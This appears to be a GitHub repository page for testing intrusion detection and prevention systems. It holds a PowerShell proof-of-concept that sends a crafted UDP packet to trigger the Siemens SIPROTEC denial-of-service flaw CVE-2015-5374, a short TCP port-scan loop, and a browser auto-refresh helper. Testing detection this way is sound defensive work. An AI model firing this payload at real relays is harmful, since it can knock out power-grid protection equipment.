Skip to content

g4xyk00/IDPS

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

10 Commits
 
 
 
 

Repository files navigation

To test Intrusion Detection/Prevention functionality

CVE-2015-5374 Siemens SIPROTEC Denial-of-Service Vulnerability

[System.Byte[]] $ByteArray=0x11,0x49,0x00,0x00,0x00,0x00,0x00,0x00, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x28,0x9e
$UdpClient = New-Object System.Net.Sockets.UdpClient
$UdpClient.Connect("192.168.127.56", 50000)
$UdpClient.Send($ByteArray, $ByteArray.length) | out-null

TCP Port SYN Scan

foreach ($p in 1..20) { 
New-Object System.Net.Sockets.TCPClient('192.168.127.56',$p) 
}

To refresh web console page automatically to avoid timeout (Microsoft Edge)

function Page-Refresh {
    While ($true) {
        Start-Sleep -seconds 5
        $edge = Get-Process | Where-Object {$_.MainWindowTitle -like "*edge*"}
        $wshell = New-Object -com WScript.Shell
        $wshell.AppActivate($edge.id)
        $wshell.sendkeys("{F5}")
    }
}

Page-Refresh | Out-Null
powershell -nologo -executionpolicy remotesigned -noexit -noprofile -File "page-refresh.ps1" 

About

Intrusion Detection and Prevention System

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published